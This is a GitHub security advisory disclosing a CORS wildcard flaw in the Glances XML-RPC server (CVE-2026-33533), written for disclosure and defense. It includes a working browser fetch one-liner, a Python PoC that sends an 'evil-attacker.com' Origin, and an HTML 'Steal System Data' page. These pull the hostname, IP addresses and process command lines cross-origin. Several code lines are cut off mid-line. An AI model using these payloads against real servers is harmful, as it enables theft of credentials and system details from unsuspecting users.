Cross-Origin System Information Disclosure via XML-RPC Server CORS Wildcard

High **nicolargo** published **GHSA-7p93-6934-f4q7** last week

Package

glances (pip)

Affected versions

all versions through 4.5.1+ (current main branch confirmed)

Patched versions

none

Description

Summary

The Glances XML-RPC server (activated with glances -s or glances --server) sends Access-Control-Allow-Origin: * on every HTTP response. Because the XML-RPC handler does not validate the Content-Type header, an attacker-controlled webpage can issue a CORS "simple request" (POST with Content-Type: text/plain) containing a valid XML-RPC payload. The browser sends the request without a preflight check, the server processes the XML body and returns the full system monitoring dataset, and the wildcard CORS header lets the attacker's JavaScript read the response. The result is complete exfiltration of hostname, OS version, IP addresses, CPU/memory/disk/network stats, and the full process list including command lines (which often contain tokens, passwords, or internal paths).

Details

File: glances/server.py, class GlancesXMLRPCHandler, line 41

```
def send_my_headers(self):
    self.send_header("Access-Control-Allow-Origin", "*")
```

This header is attached to every response from the XML-RPC server. The server inherits from SimpleXMLRPCRequestHandler which parses the POST body as XML regardless of the Content-Type header. Combined with the default unauthenticated configuration (server.isAuth = False, line 196), any website on the internet can call getAll(), getPlugin(), getAllPlugins(), getAllLimits(), or getAllViews() and read the results.

The REST API had the same issue and it was fixed in 4.5.1 (CVE-2026-32610). The XML-RPC server was not patched. The two components are entirely separate code paths: the REST API uses FastAPI/Uvicorn and is started with glances -w, while the XML-RPC server uses Python's xmlrpc.server and is started with glances -s. The attack works because POST with Content-Type: text/plain is classified as a CORS simple request by browsers, so no OPTIONS preflight is sent. The server never checks the Content-Type value, so the XML-RPC payload inside a text/plain body is parsed and executed normally.

PoC

Prerequisites: Glances installed (any version including latest 4.5.1+), started in server mode.

Step 1. Start the Glances XML-RPC server on the target machine:

```
glances -s -p 61209
```

Step 2. From any machine, run the Python PoC to confirm the issue server-side:

```
python3 poc_test.py TARGET_IP 61209
```

Step 3. To demonstrate the browser attack, host poc_cors_xmlrpc.html on any web server (even a different origin). Open it in a browser, enter the target URL (http://TARGET_IP:61209), and click "Steal System Data". The page will display the full system monitoring data retrieved cross-origin.

Step 4. Alternatively, paste this into any browser console while on any website:

```
fetch("http://TARGET_IP:61209/RPC2", {
    method: "POST",
    headers: {"Content-Type": "text/plain"},
    body: '<?xml version="1.0"?><methodCall><methodName>getAll</methodName></methodCall>
}).then(r => r.text()).then(d => {
    let m = d.match(/<string>([\s\S]*?)<\/string>/);
    let data = JSON.parse(m[1].replace(/&lt;/g,"<").replace(/&gt;/g,">").replace(/&amp;/
    console.log("Hostname:", data.system.hostname);
    console.log("Processes:", data.processlist.length);
    console.log("First process cmdline:", data.processlist[0].cmdline);
});
```

Verified output from testing on Glances 4.5.3_dev01 (current main branch):

```
[+] HTTP Status: 200
[+] Access-Control-Allow-Origin: *
[+] Successfully retrieved system data cross-origin.
Hostname:     claude
OS:           Linux 6.8.0-1024-gcp
Process count: 125
Top processes include full command lines with arguments
Total data categories exposed: 35
```

Impact

Any user who runs Glances in server mode (glances -s) on a network-accessible interface is vulnerable. A malicious website visited by anyone on the same network can silently extract the complete system monitoring dataset without any user interaction beyond visiting the page. The stolen data includes hostname, OS version, IP addresses, full process list with command lines (which commonly contain database credentials, API tokens, internal service URLs, and file paths), disk mount points, network interface details, and sensor readings. Default configuration has no authentication, making every XML-RPC server instance exploitable out of the box.

poc_test.py

```python
#!/usr/bin/env python3
"""
PoC: Cross-Origin Data Theft via Glances XML-RPC Server CORS Misconfiguration

This script simulates the browser-based attack by sending a POST request with
Content-Type: text/plain (CORS simple request) to the Glances XML-RPC server.

The server responds with Access-Control-Allow-Origin: * which allows any
webpage to read the full response containing system monitoring data.

Usage: python3 poc_test.py [target_host] [target_port]
Default: python3 poc_test.py 127.0.0.1 61209
"""

import http.client
import json
import sys
import xmlrpc.client


def main():
    host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 61209

    print(f"[*] Target: {host}:{port}")
    print(f"[*] Simulating cross-origin request (Content-Type: text/plain)")
    print()

    conn = http.client.HTTPConnection(host, port, timeout=10)
```

```
    # XML-RPC payload sent as text/plain to avoid CORS preflight
    payload = '<?xml version="1.0"?><methodCall><methodName>getAll</methodName></methodC
    headers = {
        "Content-Type": "text/plain",
        "Origin": "http://evil-attacker.com",
    }

    try:
        conn.request("POST", "/RPC2", body=payload, headers=headers)
        response = conn.getresponse()
    except Exception as e:
        print(f"[-] Connection failed: {e}")
        sys.exit(1)

    print(f"[+] HTTP Status: {response.status}")
    cors = response.getheader("Access-Control-Allow-Origin")
    print(f"[+] Access-Control-Allow-Origin: {cors}")
    print()

    if cors != "*":
        print("[-] CORS header is not wildcard. Attack would not work.")
        sys.exit(1)

    data = response.read()
    result = xmlrpc.client.loads(data)[0][0]
    parsed = json.loads(result)

    print("[+] Successfully retrieved system data cross-origin.")
    print()
    print("=== Stolen System Information ===")
    print()

    system = parsed.get("system", {})
    print(f"Hostname:     {system.get('hostname', 'N/A')}")
    print(f"OS:           {system.get('os_name', 'N/A')} {system.get('os_version', '')}"
    print(f"Platform:     {system.get('platform', 'N/A')}")
    print(f"Distribution: {system.get('linux_distro', 'N/A')}")
    print()

    cpu = parsed.get("cpu", {})
    print(f"CPU user:     {cpu.get('user', 'N/A')}%")
    print(f"CPU system:   {cpu.get('system', 'N/A')}%")
    print(f"CPU cores:    {cpu.get('cpucore', 'N/A')}")
    print()

    mem = parsed.get("mem", {})
    total_mb = round((mem.get("total", 0)) / 1024 / 1024)
    used_mb = round((mem.get("used", 0)) / 1024 / 1024)
    print(f"Memory:       {used_mb}MB / {total_mb}MB ({mem.get('percent', 'N/A')}%)")
    print()

    ip_info = parsed.get("ip", {})
    print(f"IP Address:   {ip_info.get('address', 'N/A')}")
    print(f"Subnet Mask:  {ip_info.get('mask', 'N/A')}")
    print()
```

```
    procs = parsed.get("processlist", [])
    print(f"Process count: {len(procs)}")
    print()
    print("Top 5 processes by CPU (with command lines):")
    for p in sorted(procs, key=lambda x: x.get("cpu_percent", 0), reverse=True)[:5]:
        cmdline = p.get("cmdline", [])
        cmd = " ".join(cmdline) if isinstance(cmdline, list) else str(cmdline)
        print(f"  PID {p.get('pid'):>6} | {p.get('name', 'N/A'):>20} | CPU {p.get('cpu_p

    print()
    print(f"[+] Total data categories exposed: {len(parsed.keys())}")
    print(f"[+] Categories: {', '.join(sorted(parsed.keys()))}")


if __name__ == "__main__":
    main()
```

poc_cors_xmlrpc.html

```
<!DOCTYPE html>
<html>
<head><title>Glances XML-RPC CORS PoC</title></head>
<body>
<h2>Glances XML-RPC Cross-Origin Data Theft PoC</h2>
<p>Target: <input id="target" value="http://127.0.0.1:61209" size="40"></p>
<button onclick="exploit()">Steal System Data</button>
<pre id="output" style="background:#111;color:#0f0;padding:10px;max-height:600px;overflo
<script>
async function exploit() {
    const target = document.getElementById("target").value;
    const out = document.getElementById("output");
    out.textContent = "[*] Sending cross-origin XML-RPC request to " + target + "/RPC2\n
    out.textContent += "[*] Content-Type: text/plain (CORS simple request, no preflight)

    try {
        const resp = await fetch(target + "/RPC2", {
            method: "POST",
            headers: {"Content-Type": "text/plain"},
            body: '<?xml version="1.0"?><methodCall><methodName>getAll</methodName></met
        });

        out.textContent += "[+] Response status: " + resp.status + "\n";
        out.textContent += "[+] CORS header: " + resp.headers.get("Access-Control-Allow-

        const xml = await resp.text();
        const match = xml.match(/<string>([\s\S]*?)<\/string>/);
        if (match) {
            const data = JSON.parse(match[1].replace(/&lt;/g,"<").replace(/&gt;/g,">").r
            out.textContent += "[+] === STOLEN SYSTEM DATA ===\n\n";
            out.textContent += "Hostname: " + (data.system?.hostname || "N/A") + "\n";
            out.textContent += "OS: " + (data.system?.os_name || "N/A") + " " + (data.sy
            out.textContent += "CPU cores: " + (data.cpu?.cpucore || "N/A") + "\n";
            out.textContent += "CPU usage: " + (data.cpu?.user || "N/A") + "% user\n";
            out.textContent += "Memory: " + Math.round((data.mem?.used||0)/1024/1024) +
            out.textContent += "Processes: " + (data.processlist?.length || 0) + "\n\n";
```

```
            if (data.processlist?.length > 0) {
                out.textContent += "[+] Top 10 processes (with full command lines):\n";
                data.processlist.slice(0, 10).forEach(p => {
                    const cmd = Array.isArray(p.cmdline) ? p.cmdline.join(" ") : (p.cmdl
                    out.textContent += "  PID " + p.pid + " | " + p.name + " | " + cmd.s
                });
            }

            if (data.network?.length > 0) {
                out.textContent += "\n[+] Network interfaces:\n";
                data.network.forEach(n => {
                    out.textContent += "  " + n.interface_name + " | RX: " + n.bytes_rec
                });
            }

            if (data.fs?.length > 0) {
                out.textContent += "\n[+] Filesystems:\n";
                data.fs.forEach(f => {
                    out.textContent += "  " + f.mnt_point + " | " + f.device_name + " |
                });
            }
        }
    } catch(e) {
        out.textContent += "[-] Error: " + e.message + "\n";
    }
}
</script>
</body>
</html>
```

Severity

High 7.1 / 10

CVSS v4 base metrics

Exploitability Metrics

Attack Vector	Network
Attack Complexity	Low
Attack Requirements	None
Privileges Required	None
User interaction	Passive

Vulnerable System Impact Metrics

Confidentiality	High
Integrity	None
Availability	None

Subsequent System Impact Metrics

Confidentiality	None
Integrity	None
Availability	None

Learn more about base metrics

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

CVE ID

CVE-2026-33533

Weaknesses

▶ CWE-942

Credits

tanishqshah2 Reporter